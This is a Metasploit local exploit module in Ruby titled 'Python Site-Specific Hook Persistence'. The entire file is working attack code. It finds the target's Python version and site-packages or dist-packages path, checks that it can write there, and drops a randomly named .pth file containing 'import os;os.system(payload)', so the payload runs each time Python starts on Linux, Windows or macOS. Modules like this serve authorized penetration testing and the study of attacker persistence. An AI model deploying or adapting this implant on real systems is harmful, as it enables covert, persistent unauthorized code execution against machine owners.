Python Site-Specific Hook Persistence

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html

  include Msf::Post::Linux::Priv
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Python Site-Specific Hook Persistence',
        'Description' => %q{
          This module leverages Python's startup mechanism, where some files can be automically processed during the initialization of the Python interpreter. One of those files are startup hooks (site-specific, dist-packages). If these files are present in site-specific or dist-packages directories, any lines beginning with import will be executed automatically. This creates a persistence mechanism, if an attacker has established access to target machine with sufficient permissions.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'msutovsky-r7', # msf module
        ],
        'Platform' => ['linux', 'windows', 'osx'],
        'Arch' => [ ARCH_CMD ],
        'SessionTypes' => [ 'meterpreter', 'shell' ],
        'Targets' => [[ 'Auto', {} ]],
        'References' => [
          [ 'URL', 'https://docs.python.org/3/library/site.html'],
          ['ATT&CK', Mitre::Attack::Technique::T1546_EVENT_TRIGGERED_EXECUTION],
          ['ATT&CK', Mitre::Attack::Technique::T1546_018_PYTHON_STARTUP_HOOKS],
        ],
        'DisclosureDate' => '2012-09-29',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, SCREEN_EFFECTS]
        }
      )
    )
    register_options([
      OptString.new('PYTHON_HOOK_PATH', [false, 'The path to Python site-specific hook directory']),
      OptEnum.new('EXECUTION_TARGET', [true, 'Selects if persistence is installed under current user or for all users', 'USER', ['USER', 'SYSTEM']])
    ])
  end

  def get_hooks_path
    unless datastore['PYTHON_HOOK_PATH'].blank?
      @hooks_path = datastore['PYTHON_HOOK_PATH']
      return
    end
    case session.platform
    when 'windows', 'win'

      case datastore['EXECUTION_TARGET']
      when 'USER'
        @hooks_path = expand_path("%USERPROFILE%/AppData/Local/Programs/Python/Python#{@python_version.sub('.', '')}/Lib/site-packages/")
      when 'SYSTEM'
        @hooks_path = "C:/Python#{@python_version.sub('.', '')}/Lib/site-packages/"
      end
    when 'osx', 'linux'

      case datastore['EXECUTION_TARGET']
      when 'USER'
        @hooks_path = expand_path("$HOME/.local/lib/python#{@python_version}/site-packages/")
      when 'SYSTEM'
        @hooks_path = "/usr/local/lib/python#{@python_version}/dist-packages/"
      end
    end
  end

  def get_python_version
    case session.platform
    when 'windows', 'win'
      cmd_exec('cmd.exe /c python3.exe --version 2> nul || python2.exe --version 2> nul || python.exe --version 2> nul || py.exe --version 2> nul') =~ /(\d+.\d+).\d+/
    when 'osx', 'linux'
      cmd_exec('python3 --version 2>/dev/null || python2 --version 2> /dev/null || python --version 2>/dev/null') =~ /(\d+.\d+).\d+/
    end

    @python_version = Regexp.last_match(1)
  end

  def check
    get_python_version

    return CheckCode::Safe('Python not present on the system') unless @python_version

    CheckCode::Vulnerable('Python is present on the system')
  end

  def install_persistence
    get_python_version unless @python_version
    print_status("Detected Python version #{@python_version}")
    get_hooks_path unless @hooks_path

    mkdir(@hooks_path, cleanup: false) if session.platform == 'osx' || session.platform == 'linux'

    fail_with(Failure::NotFound, "The hooks path #{@hooks_path} does not exists") unless directory?(@hooks_path)
    # check if hooks path writable
    begin
      # windows only ps payloads have writable? so try that first
      fail_with(Failure::NoAccess, "No permission to write to #{@hooks_path}") unless writable?(@hooks_path)
    rescue RuntimeError
      filename = @hooks_path + '\\' + Rex::Text.rand_text_alpha((rand(6..13)))
      write_file(filename, '')
      fail_with(Failure::NoAccess, "No permission to write to #{@hooks_path}") unless exists?(filename)
      rm_f(filename)
    end

    print_status("Got path to site-specific hooks #{@hooks_path}")

    file_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(5..10)

    fail_with(Failure::PayloadFailed, 'Failed to create malicious hook') unless write_file("#{@hooks_path}#{file_name}.pth", %(import os;os.system("#{payload.encoded}") ))

    print_good("Successfully created malicious hook #{@hooks_path}#{file_name}.pth")
    @clean_up_rc << "rm #{@hooks_path}#{file_name}.pth\n"
  end
end